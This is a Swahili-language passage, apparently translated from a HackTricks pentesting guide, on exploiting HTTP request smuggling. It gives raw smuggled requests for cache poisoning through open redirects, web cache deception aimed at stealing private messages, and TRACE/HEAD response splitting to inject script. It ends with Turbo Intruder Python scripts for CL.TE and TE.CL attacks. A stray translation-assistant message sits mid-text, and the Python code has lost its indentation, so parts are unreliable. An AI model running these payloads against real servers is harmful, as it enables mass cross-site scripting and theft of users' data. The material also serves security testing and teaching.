Hapo awali, tuliangalia jinsi majibu ya server yalivyoweza kubadilishwa kurudisha kosa la 404 (rejea Basic Examples). Vilevile, inawezekana kudanganya server ili itume maudhui ya /index.html kama majibu kwa ombi la /static/include.js. Kwa hivyo, maudhui ya /static/include.js yanachukuliwa nafasi kwenye cache na yale ya /index.html, na kufanya /static/include.js isipatikane kwa watumiaji, jambo ambalo linaweza kusababisha Denial of Service (DoS).

Mbinu hii inakuwa hatari zaidi ikiwa ugunduzi wa Open Redirect vulnerability utatokea au ikiwa kuna on-site redirect to an open redirect. Udhaifu kama huo unaweza kutumika kubadilisha maudhui yaliyohifadhiwa kwenye cache ya /static/include.js na script inayodhibitiwa na mshambuliaji, na hivyo kuruhusu shambulio la Cross-Site Scripting (XSS) la upana kwa wateja wote wanaoomba /static/include.js iliyosasishwa.

Chini kuna mfano wa kutekeleza cache poisoning combined with an on-site redirect to open redirect. Lengo ni kubadilisha maudhui yaliyoko kwenye cache ya /static/include.js ili kutumikia msimbo wa JavaScript unaodhibitiwa na mshambuliaji:

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

Kumbuka ombi lililojumuishwa linalolenga /post/next?postId=3. Ombi hili litarudishwa kwa /post?postId=4, likitumia Host header value kubainisha domain. Kwa kubadilisha Host header, mshambuliaji anaweza kumwelekeza ombi hadi domain yao (on-site redirect to open redirect).

Baada ya socket poisoning kufanikiwa, ombi la GET request la /static/include.js linapaswa kuanzishwa. Ombi hili litachafuliwa na ombi la awali la on-site redirect to open redirect na litachukua yaliyomo ya script inayodhibitiwa na mshambuliaji.

Baadaye, ombi lolote la /static/include.js litatumikia yaliyomo yaliyohifadhiwa kwenye cache ya script ya mshambuliaji, na kwa ufanisi kuanzisha shambulio pana la XSS.

Kutumia HTTP request smuggling to perform web cache deception

Tofauti kati ya web cache poisoning na web cache deception ni ipi?

  • Katika web cache poisoning, mshambuliaji hufanya application kuhifadhi baadhi ya yaliyomo hatarishi kwenye cache, na yaliyomo hayo hutolewa kutoka cache kwa watumiaji wengine wa application.
  • Katika web cache deception, mshambuliaji hufanya application kuhifadhi baadhi ya yaliyomo nyeti za mtumiaji mwingine kwenye cache, kisha mshambuliaji anapata yaliyomo hayo kutoka cache.

Mshambuliaji huunda smuggled request inayochukua yaliyomo nyeti ya mtumiaji fulani. Angalia mfano ufuatao:

markdown
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
`` \ `0`\ ``\
`GET /private/messages HTTP/1.1`\
`Foo: X`

Ikiwa ombi lililosmuggled litatoza entry ya cache iliyokusudiwa kwa yaliyomo statiki (mfano /someimage.png), data nyeti za muathiri kutoka /private/messages zinaweza kuhifadhiwa chini ya entry ya cache ya yaliyomo statiki. Kwa hivyo, mshambuliaji anaweza kunyakua data hizi nyeti zilizohifadhiwa.

Kutumia kwa njia mbaya TRACE kupitia HTTP Request Smuggling

Katika chapisho hiki inapendekeza kwamba ikiwa server ina method TRACE imewezeshwa inaweza kuwa inawezekana kuitumia kwa njia mbaya pamoja na HTTP Request Smuggling. Hii ni kwa sababu method hii itarudisha header yoyote iliyotumwa kwa server kama sehemu ya body ya response. Kwa mfano:

TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>

Tafadhali bandika hapa maudhui ya faili src/pentesting-web/http-request-smuggling/README.md ambayo ungependa nitafsiri. Nitaitafsiri kwa Kiswahili na kuhifadhi sintaksia ya markdown/HTML, viungo, na tag zilizoelezwa.

HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115

TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx

Mfano wa jinsi ya kutumia vibaya tabia hii ni smuggle first a HEAD request. Ombi hili litajibiwa kwa headers tu za GET request (Content-Type miongoni mwao). Na smuggle immediately after the HEAD a TRACE request, ambayo itakuwa reflecting the sent data.
Kwa kuwa HEAD response itakuwa na Content-Length header, response of the TRACE request will be treated as the body of the HEAD response, therefore reflecting arbitrary data katika jibu.
Jibu hili litatumwa kwa ombi lijalo kwenye muunganisho, kwa hivyo linaweza kuwa used in a cached JS file for example to inject arbitrary JS code.

Abusing TRACE via HTTP Response Splitting

Ni vyema kuendelea kufuatilia this post inayopendekeza njia nyingine ya kutumia vibaya TRACE method. Kama ilivyoelezwa, kwa smuggling HEAD request na TRACE request inawezekana control some reflected data katika jibu la HEAD request. Urefu wa body ya HEAD request kwa ujumla unaonyeshwa katika Content-Length header na umeundwa na response ya TRACE request.

Kwa hivyo, wazo jipya litakuwa kwamba, kwa kujua Content-Length hii na data iliyo katika TRACE response, inawezekana kufanya TRACE response iunde HTTP response halali baada ya byte ya mwisho ya Content-Length, ikiruhusu mshambuliaji kudhibiti kabisa request kwa response inayofuata (ambayo inaweza kutumika kufanya cache poisoning).

Mfano:

GET / HTTP/1.1
Host: example.com
Content-Length: 360

HEAD /smuggled HTTP/1.1
Host: example.com

POST /reflect HTTP/1.1
Host: example.com

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>

Itazalisha majibu haya (angalia jinsi jibu la HEAD lina Content-Length, likifanya jibu la TRACE kuwa sehemu ya mwili wa HEAD, na mara Content-Length ya HEAD inapomalizika jibu halali la HTTP is smuggled):

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50

<script>alert(“arbitrary response”)</script>

Kuweka silaha HTTP Request Smuggling na HTTP Response Desynchronisation

Je, umegundua udhaifu wa HTTP Request Smuggling na haujui jinsi ya ku-exploit? Jaribu hizi njia nyingine za exploitation:

HTTP Response Smuggling / Desync

Mbinu nyingine za HTTP Request Smuggling

  • Browser HTTP Request Smuggling (Client Side)

Browser HTTP Request Smuggling

  • Request Smuggling in HTTP/2 Downgrades

Request Smuggling in HTTP/2 Downgrades

Turbo intruder scripts

CL.TE

Chanzo https://hipotermia.pw/bb/http-desync-idor

python
def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

Kutoka: https://hipotermia.pw/bb/http-desync-account-takeover

python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

Vifaa

Marejeleo

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks